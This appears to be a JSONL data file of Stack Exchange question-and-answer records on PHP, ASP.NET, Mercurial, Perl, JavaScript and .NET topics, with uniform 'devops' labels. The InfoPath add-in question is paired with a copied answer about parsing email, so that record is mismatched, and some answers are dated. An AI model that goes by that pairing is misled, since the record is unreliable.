{"id": "hf_f5f1ef9ac56d", "question": "<p>What can I do to increase the performance/speed of my PHP scripts without installing software on my servers?</p>\n", "question_body": "", "answer": "There is no magic solution, and attempting to provide generic solutions could well just be a waste of time.\nWhere are your bottlenecks? For example are your scripts processor/database/memory intensive?\nHave you performed any profiling?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:41.986207"}
{"id": "hf_46f40fbef524", "question": "<p>Is there a way, when I parse an XML document using lxml, to validate that document against its DTD using an external catalog file?   I need to be able to work the fixed attributes defined in a document’s DTD.</p>\n", "question_body": "", "answer": "Can you give an example? According to the\nlxml validation docs\n, lxml can handle DTD validation (specified in the XML doc or externally in code) and system catalogs, which covers most cases I can think of.\n```\n```\nf = StringIO(\"<!ELEMENT b EMPTY>\")\ndtd = etree.DTD(f)\ndtd = etree.DTD(external_id = \"-//OASIS//DTD DocBook XML V4.2//EN\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.023055"}
{"id": "hf_19ed040322ff", "question": "<p>Is it possible to write a <code>doctest</code> unit test that will check that an exception is raised?<br />\nFor example, if I have a function <code>foo(x)</code> that is supposed to raise an exception if <code>x &lt; 0</code>, how would I write the <code>doctest</code> for that?</p>\n", "question_body": "", "answer": "Yes. You can do it. The\ndoctest module documentation\nand Wikipedia has an\nexample\nof it.\n```\n```\n>>> x\n   Traceback (most recent call last):\n     ...\n   NameError: name 'x' is not defined\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.047728"}
{"id": "hf_17da6b7c5771", "question": "<p>I'm developing a C# application that uses a handful of XML files and some classes in System.Xml.  A coworker insists on adding the MSXML6 redistributable to our install, along with the .NET framework but I don't think the .NET framework uses or needs MSXML in anyway.  I am well aware that using MSXML from .NET is not supported but I suppose its theoretically possible for System.Xml itself to wrap MSXML at a low level.  I haven't found anything definitive that .NET has its own implementation but neither can I find anything to suggest it needs MSXML.  </p>\n\n<p>Help me settle the debate.  Does System.Xml use MSXML?</p>\n", "question_body": "", "answer": "System.Xml doesn't use MSXML6. They are seperate xml processing engines. See post here:\nMSXML 6.0 vs. System.Xml: Schema handling differences", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.072190"}
{"id": "hf_691aa3d5eaf0", "question": "<p>If you create an ASP.NET web file project you have direct access to the Profile information in the web.config file. If you convert that to a Web App and have been using ProfileCommon etc. then you have to jump through a whole bunch of hoops to get your web app to work.</p>\n\n<p>Why wasn't the Profile provider built into the ASP.NET web app projects like it was with the web file projects?</p>\n", "question_body": "", "answer": "The profile provider uses the ASP.NET Build Provider system, which doesn't work with Web Application Projects.\nAdding a customized BuildProvider\n  class to the Web.config file works in\n  an ASP.NET Web site but does not work\n  in an ASP.NET Web application project.\n  In a Web application project, the code\n  that is generated by the BuildProvider\n  class cannot be included in the\n  application.\nsource:\nMSDN Build Provider documentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.110327"}
{"id": "hf_b0e5828bf491", "question": "<p>we're developing a web app to cover all aspects of a printing company from finances, to payroll, to job costing.  Its important to be able to control who can access what parts of these applications.  Don't want a line employee giving himself a raise, etc...</p>\n\n<p>I've heard of the concept of ACL &amp; ACO, but haven't found a good example that we could adapt to our project.</p>\n\n<p>Anyone know where I can find good information to work from?</p>\n", "question_body": "", "answer": "I've had to implement that type of security a couple of times.  Unfortunately I don't know of any really good articles that provide examples.  My implementations were mainly piecing together the parts through trial and error.\nHowever, I did come across this link on MSDN:\nhttp://msdn.microsoft.com/en-us/library/52kd59t0(VS.71).aspx\nIt has some of the concepts.\nAfter my original post, I did some more research.  I found this article:\nhttp://www.aspfree.com/c/a/C-Sharp/Implementing-Role-Based-Security-using-CSharp/\nit seems pretty promising, I didn't go through all the details, but it at least guides you through the high-level topics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.151886"}
{"id": "hf_ee3fabe31dd4", "question": "<p>I've been using Emacs's sql interactive mode to talk to the MySQL db server and gotten to enjoy it. A developer has set up another db on a new non-default port number but I don't know how to access it using sql-mysql.</p>\n\n<p>How do I specify a port number when I'm trying to connect to a database?</p>\n\n<p>It would be even better if Emacs can prompt me for a port number and just use the default if I don't specify. Any chances of that?</p>\n", "question_body": "", "answer": "```\n```\n(setq sql-mysql-options (list \"-P <port number>\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.177329"}
{"id": "hf_e29a1a0c67b7", "question": "<p>I'm trying to parse an INI file using C++. Any tips on what is the best way to achieve this? Should I use the Windows API tools for INI file processing (with which I am totally unfamiliar), an open-source solution or attempt to parse it manually?</p>\n", "question_body": "", "answer": "I have never parsed ini files, so I can't be too specific on this issue.\nBut i have one advice:\nDon't reinvent the wheel as long as an existing one meets your requirements\nhttp://en.wikipedia.org/wiki/INI_file#Accessing_INI_files\nhttp://sdl-cfg.sourceforge.net/\nhttp://sourceforge.net/projects/libini/\nhttp://www.codeproject.com/KB/files/config-file-parser.aspx\nGood luck :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.205802"}
{"id": "hf_ec5fa4ef172d", "question": "<p>Is there a simple way in Perl that will allow me to determine if a given variable is numeric?  Something along the lines of:</p>\n\n<pre><code>if (is_number($x))\n{ ... }\n</code></pre>\n\n<p>would be ideal.  A technique that won't throw warnings when the <code>-w</code> switch is being used is certainly preferred.</p>\n", "question_body": "", "answer": "Not perfect, but you can use a regex:\n```\n```\nsub isnumber \n{\n    shift =~ /^-?\\d+\\.?\\d*$/;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.254704"}
{"id": "hf_c88bf481969c", "question": "<p>I'm using the new ASP.Net ListView control to list database items that will be grouped together in sections based on one of their columns like so:</p>\n\n<pre><code>region1\n    store1\n    store2\n    store3\nregion2\n    store4\nregion3\n    store5\n    store6\n</code></pre>\n\n<p>Is this possible to do with the ListView's GroupItemTemplate? Every example I have seen uses a static number of items per group, which won't work for me. Am I misunderstanding the purpose of the GroupItem?</p>\n", "question_body": "", "answer": "I haven't used GroupItemCount, but I have taken this example written up by\nMatt Berseth\ntitled\nBuilding a Grouping Grid with the ASP.NET 3.5 LinqDataSource and ListView Controls\nand have grouped items by a key just like you want.\nIt involves using an outer and inner ListView control.  Works great, give it a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.291440"}
{"id": "hf_f38e6680f7f4", "question": "<p>Let's say I woke up today and wanted to create a clone of StackOverflow.com, and reap the financial windfall of millions $0.02 ad clicks. Where do I start?</p>\n\n<p>My understanding of web technologies are:</p>\n\n<ul>\n<li>HTML is what is ultimately displayed</li>\n<li>CSS is a mechanism for making HTML look pleasing </li>\n<li>ASP.NET lets you add functionality using .NET(?)</li>\n<li>JavaScript does stuff</li>\n<li>AJAX does asyncronous stuff</li>\n<li>... and the list goes on!</li>\n</ul>\n\n<p>To write a good website to I just need to buy seven books and read them all? Are Web 2.0 sites really the synergy of all these technologies?  </p>\n\n<p>Where does someone go to get started down the path to creating professional-looking web sites, and what steps are there along the way. </p>\n", "question_body": "", "answer": "I would recommend this book:\nhttp://www.amazon.com/MCTS-Self-Paced-Training-Exam-70-528/dp/0735623341/ref=sr_1_1?ie=UTF8&s=books&qid=1218830714&sr=8-1\nI have just read it to take the exam, and although I knew the web theory part, I found it to be of great value.\nThis of course is a ASP.NET specific book, but that is what I would recommend learning anyways.\nAfter you learn all the ASP.NET stuff, I would suggest reading up on\nJQuery\n.\nHappy coding :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.327937"}
{"id": "hf_a1c4ba64c2c9", "question": "<p>Has anyone built a website with IronPython and ASP.NET.  What were your experiences and is the combination ready for prime-time?</p>\n", "question_body": "", "answer": "The current version of ASP.NET integration for IronPython is not very up-to-date and is more of a \"proof-of-concept.\" I don't think I'd build a production website based on it.\nEdit:\n: I have a very high level of expectation for how things like this should work, and might setting the bar a little high.  Maybe you should take what's in \"ASP.NET Futures\", write a test application for it and see how it works for you.  If you're successful, I'd like to hear about it.  Otherwise, I think there should be a newer CTP of this in the next six months.\n(I'm a developer on IronPython and IronRuby.)\nEdit 2:\nSince I originally posted this, a\nnewer version\nhas been released.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.364940"}
{"id": "hf_d0721924b587", "question": "<p>I'm coming from a Rails background and doing some work on a ASP.NET project (not ASP MVC). Newbie question: what's the easiest way to make a custom editor for a table of records?</p>\n\n<p>For example: I have a bunch of data rows and want to change the \"category\" field on each -- maybe a dropdown, maybe a link, maybe the user types it in.</p>\n\n<p>In Rails, I'd iterate over the rows to build a table, and would have a form for each row. The form would have an input box or dropdown, and submit the data to a controller like \"/item/edit/15?category=foo\" where 15 was the itemID and the new category was \"foo\".</p>\n\n<p>I'm new to the ASP.NET model and am not sure of the \"right\" way to do this -- just the simplest way to get back the new data &amp; save it off. Would I make a custom control and append it to each row? Any help appreciated.</p>\n", "question_body": "", "answer": "There are a few controls that will do this for you, with varying levels of complexity depending on their relative flexibility.\nThe traditional way to do this would be the DataGrid control, which gives you a table layout. If you want something with more flexibility in appearance, the DataList and ListView controls also have built-in support for editing, inserting or deleting fields as well.\nCheck out\nMatt Berseth's blog\nfor some excellent examples of asp.net controls in action.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.401592"}
{"id": "hf_df4e5b912e24", "question": "<p>I have two separate mercurial repositories. At this point it makes sense that they \"become one\" because I want to work on the two projects simultaneously.</p>\n\n<p>I'd really like the two projects to each be a subdirectory in the new repository.</p>\n\n<ol>\n<li>How do I merge the two projects?</li>\n<li>Is this a good idea, or should I\nkeep them separate?</li>\n</ol>\n\n<p>It seems I ought to be able to push from one repository to the other... Maybe this is really straight forward?</p>\n", "question_body": "", "answer": "If you aren't using the same code across the projects, keep them separate. You can set\nyour\npersonal repository of each of those projects to be just a directory apart. Why mix all the branches, merges, and commit comments when you don't have to.\nAbout your edit:\nPushing from One repository to Another. You can always use the\n```\ntransplant\n```\ncommand. Although, all this is really side stepping your\ndesire\nto combine the two, so you might feel uncomfortable using my suggestions. Then you can use the forest extension, or something.\n```\n```\nhg transplant -s REPOSITORY lower_rev:high_rev\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.542305"}
{"id": "hf_6c18eeca5665", "question": "<p>Got a bluescreen in windows while cloning a mercurial repository.</p>\n\n<p>After reboot, I now get this message for almost all hg commands:</p>\n\n<pre>\nc:\\src\\>hg commit\nwaiting for lock on repository c:\\src\\McVrsServer held by '\\x00\\x00\\x00\\x00\\x00\\\nx00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ninterrupted!\n</pre>\n\n<p>Google is no help.</p>\n\n<p>Any tips?</p>\n", "question_body": "", "answer": "When \"waiting for lock on repository\", delete the repository file:\n```\n.hg/wlock\n```\n(or it may be in\n```\n```\n.hg/store/lock\n```\n```\n)\nWhen  deleting the lock file, you must make sure nothing else is accessing the repository. (If the lock is a string of zeros or blank, this is almost certainly true).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.579326"}
{"id": "hf_d6413f6351e1", "question": "<p>I have a large database of normalized order data that is becoming very slow to query for reporting.  Many of the queries that I use in reports join five or six tables and are having to examine tens or hundreds of thousands of lines.</p>\n\n<p>There are lots of queries and most have been optimized as much as possible to reduce server load and increase speed.  I think it's time to start keeping a copy of the data in a denormalized format.</p>\n\n<p>Any ideas on an approach?  Should I start with a couple of my worst queries and go from there?</p>\n", "question_body": "", "answer": "I know this is a bit tangential, but have you tried seeing if there are more indexes you can add?\nI don't have a lot of DB background, but I am working with databases a lot recently, and I've been finding that a lot of the queries can be improved just by adding indexes.\nWe are using DB2, and there is a command called db2expln and db2advis, the first will indicate whether table scans vs index scans are being used, and the second will recommend indexes you can add to improve performance.  I'm sure MySQL has similar tools...\nAnyways, if this is something you haven't considered yet, it has been helping a lot with me... but if you've already gone this route, then I guess it's not what you are looking for.\nAnother possibility is a \"materialized view\" (or as they call it in DB2), which lets you specify a table that is essentially built of parts from multiple tables.  Thus, rather than normalizing the actual columns, you could provide this view to access the data... but I don't know if this has severe performance impacts on inserts/updates/deletes (but if it is \"materialized\", then it should help with selects since the values are physically stored separately).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.629589"}
{"id": "hf_3a2d778d1c69", "question": "<p>I'm looking for good/working/simple to use PHP code for parsing raw email into parts.</p>\n<p>I've written a couple of brute force solutions, but every time, one small change/header/space/something comes along and my whole parser fails and the project falls apart.</p>\n<p>And before I get pointed at PEAR/PECL, I need actual code. My host has some screwy config or something, I can never seem to get the .so's to build right. If I do get the .so made, some difference in path/environment/php.ini doesn't always make it available (apache vs cron vs CLI).</p>\n<p>Oh, and one last thing, I'm parsing the raw email text, NOT POP3, and NOT IMAP. It's being piped into the PHP script via a .qmail email redirect.</p>\n<p>I'm not expecting SOF to write it for me, I'm looking for some tips/starting points on doing it &quot;right&quot;. This is one of those &quot;wheel&quot; problems that I know has already been solved.</p>\n", "question_body": "", "answer": "What are you hoping to end up with at the end?  The body, the subject, the sender, an attachment?  You should spend some time with\nRFC2822\nto understand the format of the mail, but here's the simplest rules for well formed email:\n```\n```\nHEADERS\\n\n\\n\nBODY\n```\n```\nThat is, the first blank line (double newline) is the separator between the HEADERS and the BODY.  A HEADER looks like this:\n```\n```\nHSTRING:HTEXT\n```\n```\nHSTRING always starts at the beginning of a line and doesn't contain any white space or colons.  HTEXT can contain a wide variety of text, including newlines as long as the newline char is followed by whitespace.\nThe \"BODY\" is really just any data that follows the first double newline.  (There are different rules if you are transmitting mail via SMTP, but processing it over a pipe you don't have to worry about that).\nSo, in really simple, circa-1982\nRFC822\nterms, an email looks like this:\n```\n```\nHEADER: HEADER TEXT\nHEADER: MORE HEADER TEXT\n  INCLUDING A LINE CONTINUATION\nHEADER: LAST HEADER\n\nTHIS IS ANY\nARBITRARY DATA\n(FOR THE MOST PART)\n```\n```\nMost modern email is more complex than that though.  Headers can be encoded for charsets or\nRFC2047\nmime words, or a ton of other stuff I'm not thinking of right now.  The bodies are really hard to roll your own code for these days to if you want them to be meaningful.  Almost all email that's generated by an MUA will be\nMIME\nencoded.  That might be uuencoded text, it might be html, it might be a uuencoded excel spreadsheet.\nI hope this helps provide a framework for understanding some of the very elemental buckets of email.  If you provide more background on what you are trying to do with the data I (or someone else) might be able to provide better direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.654930"}
{"id": "hf_b64575fdc9d1", "question": "<p>I'm experimenting with creating an add-in for Infopath 2007. The documentation is very skimpy. What I'm trying to determine is what kind of actions an add-in can take while designing a form. Most of the discussion and samples are for when the user is filling out the form. Can I, for example, add a new field to the form in the designer? Add a new item to the schema? Move a form field on the design surface? It doesn't appear so, but I can't find anything definitive.</p>\n", "question_body": "", "answer": "What are you hoping to end up with at the end?  The body, the subject, the sender, an attachment?  You should spend some time with\nRFC2822\nto understand the format of the mail, but here's the simplest rules for well formed email:\n```\n```\nHEADERS\\n\n\\n\nBODY\n```\n```\nThat is, the first blank line (double newline) is the separator between the HEADERS and the BODY.  A HEADER looks like this:\n```\n```\nHSTRING:HTEXT\n```\n```\nHSTRING always starts at the beginning of a line and doesn't contain any white space or colons.  HTEXT can contain a wide variety of text, including newlines as long as the newline char is followed by whitespace.\nThe \"BODY\" is really just any data that follows the first double newline.  (There are different rules if you are transmitting mail via SMTP, but processing it over a pipe you don't have to worry about that).\nSo, in really simple, circa-1982\nRFC822\nterms, an email looks like this:\n```\n```\nHEADER: HEADER TEXT\nHEADER: MORE HEADER TEXT\n  INCLUDING A LINE CONTINUATION\nHEADER: LAST HEADER\n\nTHIS IS ANY\nARBITRARY DATA\n(FOR THE MOST PART)\n```\n```\nMost modern email is more complex than that though.  Headers can be encoded for charsets or\nRFC2047\nmime words, or a ton of other stuff I'm not thinking of right now.  The bodies are really hard to roll your own code for these days to if you want them to be meaningful.  Almost all email that's generated by an MUA will be\nMIME\nencoded.  That might be uuencoded text, it might be html, it might be a uuencoded excel spreadsheet.\nI hope this helps provide a framework for understanding some of the very elemental buckets of email.  If you provide more background on what you are trying to do with the data I (or someone else) might be able to provide better direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.680456"}
{"id": "hf_0b84530a5201", "question": "<p>Is it in best interests of the software development industry for one framework, browser or language to <strong>win the war</strong> and become the de facto standard?  On one side it takes away the challenges of cross platform, but it opens it up for a single point of failure.  Would it also result in a stagnation of innovation, or would it allow the industry to focus on more important things (whatever those might be).</p>\n", "question_body": "", "answer": "I believe whenever there is only 1 option, it will definitely stagnate innovation.  If all we had was 1 language, then we wouldn't be able to solve anything but what that language was designed to solve.\nImperative languages like Java and C# solve a certain set of problems pretty well, but it also helps to think in a functional manner sometimes, such as with Haskell and Lisp.\nFurthermore, cross platform issues are not an issue if you are talking about a web application, because you control the hardware and software (note, I am talking of the server side code of course, the browser cross platform issue is separate).\nPaul Graham wrote a\ngreat essay\non how the Web lets you as a developer use the tool you think will solve the problem best.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.730155"}
{"id": "hf_d6190fc20a9e", "question": "<p>I want to define something like this in <em>php</em>:</p>\n\n<pre><code>$EL = \"\\n&lt;br /&gt;\\n\";\n</code></pre>\n\n<p>and then use that variable as an \"endline\" marker all over my site, like this:</p>\n\n<pre><code>echo \"Blah blah blah{$EL}\";\n</code></pre>\n\n<p>How do I define $EL once (in only 1 file), include it on every page on my site, and <em>not</em> have to reference it using the (strangely backwards) <code>global $EL;</code> statement in every page function?</p>\n", "question_body": "", "answer": "Most PHP sites should have a file (I call it a header) that you include on every single page of the site. If you put that first line of code in the header file, then include it like this on every page:\n```\n```\ninclude 'header.php';\n```\n```\nyou won't have to use the global keyword or anything, the second line of code you wrote should work.\nEdit: Oh sorry, that won't work inside functions... now I see your problem.\nEdit #2: Ok, take my original advice with the header, but use a\ndefine()\nrather than a variable. Those work inside functions after being included.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.792721"}
{"id": "hf_b3f77114c8d9", "question": "<p>I've frequently encountered sites that put all of their JavaScript inside a <code>namespace</code> structure along the lines of:</p>\n\n<pre><code>namespaces = { com : { example: { example.com's data} }\n</code></pre>\n\n<p>However, setting this up safely with respect to other namespaced frameworks seems to require a relatively hefty amount of code (defined as > 2 lines).  I was wondering whether anyone knows of a concise way to do this? Furthermore, whether there's a relatively standard/consistent way to structure it? For example, is the <code>com</code> namespace directly attached to the global object, or is it attached through a namespace object?</p>\n\n<p>[Edit: whoops, obviously <code>{com = { ... } }</code> wouldn't accomplish anything close to what I intended, thanks to Shog9 for pointing that out.] </p>\n", "question_body": "", "answer": "Javascript doesn't have stand-alone namespaces. It has functions, which can provide scope for resolving names, and objects, which can contribute to the named data accessible in a given scope.\nHere's your example, corrected:\n```\n```\nvar namespaces = { com: { example: { /* example.com's data */ } } }\n```\n```\nThis is a variable\n```\nnamespaces\n```\nbeing assigned an object literal. The object contains one property:\n```\ncom\n```\n, an object with one property:\n```\nexample\n```\n, an object which presumably would contain something interesting.\nSo, you can type something like\nnamespaces.com.example.\nsomePropertyOrFunctionOnExample\nand it'll all work. Of course, it's also ridiculous. You don't have a hierarchical namespace, you have an object containing an object containing an object with the stuff you actually care about.\n```\n```\nvar com_example_data = { /* example.com's data */ };\n```\n```\nThat works just as well, without the pointless hierarchy.\nNow\n, if you actually\nwant\nto build a hierarchy, you can try something like this:\n```\n```\ncom_example = com_example || {};\ncom_example.flags = com_example.flags || { active: false, restricted: true};\n\ncom_example.ops = com_example.ops || (function()\n    {\n       var launchCodes = \"38925491753824\"; // hidden / private\n       return {\n         activate: function() { /* ... */ },\n         destroyTheWorld: function() { /* ... */ }\n       };\n    })();\n```\n```\n...which is, IMHO, reasonably concise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.817769"}
{"id": "hf_da5ba8f1d308", "question": "<p>Real strange.</p>\n<p>I cannot find a tool that enables one to display a SVN repository in graphical form.<br />\nI would like the ability to see changes in revision / time , branch / time graphs.</p>\n<p>Does anyone know of one. <strong>Ideally it would be platform neutral or even better web based</strong>.</p>\n<p>Solutions offered so far in brief:</p>\n<ul>\n<li>svn-graph</li>\n<li><a href=\"http://www.atlassian.com/software/fisheye/\" rel=\"nofollow noreferrer\">Fisheye</a> ( you want how\nmuch !£?* )</li>\n</ul>\n", "question_body": "", "answer": "Fisheye\n, from Atlassian, looks at an SVN repository and can show you a few graphs. Also provides a handy web interface for blame, diff, etc.\nfor example, some sample images at\none of the demo servers:\nAnd if you like some pretty code metrics,\nhere are some samples\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.843583"}
{"id": "hf_f05d5bbd13f6", "question": "<p>What's the difference between struct and class in .NET?</p>\n", "question_body": "", "answer": "Well, for starters, a struct is passed by value rather than by reference.  Structs are good for relatively simple data structures, while classes have a lot more flexibility from an architectural point of view via polymorphism and inheritance.\nOthers can probably give you more detail than I, but I use structs when the structure that I am going for is simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.868782"}
{"id": "hf_cfbd7f549c4b", "question": "<p>I'm looking for a clear, concise and accurate answer.  </p>\n\n<p>Ideally as the actual answer, although links to good explanations welcome.</p>\n", "question_body": "", "answer": "Boxing & unboxing is the process of converting a primitive value into an object oriented wrapper class (boxing), or converting a value from an object oriented wrapper class back to the primitive value (unboxing).\nFor example, in java, you may need to convert an\n```\nint\n```\nvalue into an\n```\nInteger\n```\n(boxing) if you want to store it in a\n```\nCollection\n```\nbecause primitives can't be stored in a\n```\nCollection\n```\n, only objects.  But when you want to get it back out of the\n```\nCollection\n```\nyou may want to get the value as an\n```\nint\n```\nand not an\n```\nInteger\n```\nso you would unbox it.\nBoxing and unboxing is not inherently\nbad\n, but it is a tradeoff.  Depending on the language implementation, it can be slower and more memory intensive than just using primitives.  However, it may also allow you to use higher level data structures and achieve greater flexibility in your code.\nThese days, it is most commonly discussed in the context of Java's (and other language's) \"autoboxing/autounboxing\" feature.  Here is a\njava centric explanation of autoboxing\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.894120"}
{"id": "hf_aebabd9800ed", "question": "<p>I'm looking for a clear, concise and accurate answer.  </p>\n\n<p>Ideally as the actual answer, although links to good explanations welcome.</p>\n\n<p>This also applies to VB.Net, but the keywords are different - <code>ByRef</code> and <code>ByVal</code>.</p>\n", "question_body": "", "answer": "```\nout\n```\nmeans that the parameter will be initialised by the method:\n```\n```\nint result; //not initialised\n\nif( int.TryParse( \"123\", out result ) )\n   //result is now 123\nelse\n   //if TryParse failed result has still be \n   // initialised to its default value (0)\n```\n```\n```\nref\n```\nwill force the underlying reference to be passed:\n```\n```\nvoid ChangeMyClass1( MyClass input ) {\n   input.MyProperty = \"changed by 1\";\n   input = null;\n   //can't see input anymore ... \n   // I've only nulled my local scope's reference\n}\n\nvoid ChangeMyClass2( ref MyClass input ) {\n   input.MyProperty = \"changed by 2\";\n   input = null;\n   //the passed reference is now null too.\n}\n\nMyClass tester = new MyClass { MyProperty = \"initial value\" };\n\nChangeMyClass1( tester );\n// now tester.MyProperty is \"changed by 1\"\n\nChangeMyClass2( ref tester );\n// now tester is null\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.919712"}
{"id": "hf_da19c3fe66f2", "question": "<p>I've just started working on an <code>ASP.NET</code> project which I hope to open source once it gets to a suitable stage. It's basically going to be a library that can be used by existing websites. My preference is to support <code>ASP.NET 2.0</code> through <code>3.5</code>, but I wondered how many people I would be leaving out by not supporting <code>ASP.NET 1.1</code>? More specifically, how many people are there still using <code>ASP.NET 1.1</code> for whom <code>ASP.NET 2.0/3.5</code> is not an option? If upgrading your server is not an option for you, why not?</p>\n", "question_body": "", "answer": "Increasingly I think not.\nThe kind of large rigid organisation currently still clinging to 1.1 (probably because they're only just upgraded to it) is also the kind that's highly unlikely to look at open source solutions.\nIf I were starting a new ASP.Net project right now I'd stick with .Net 3.5 and probably the new MVC previews.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:42.958062"}
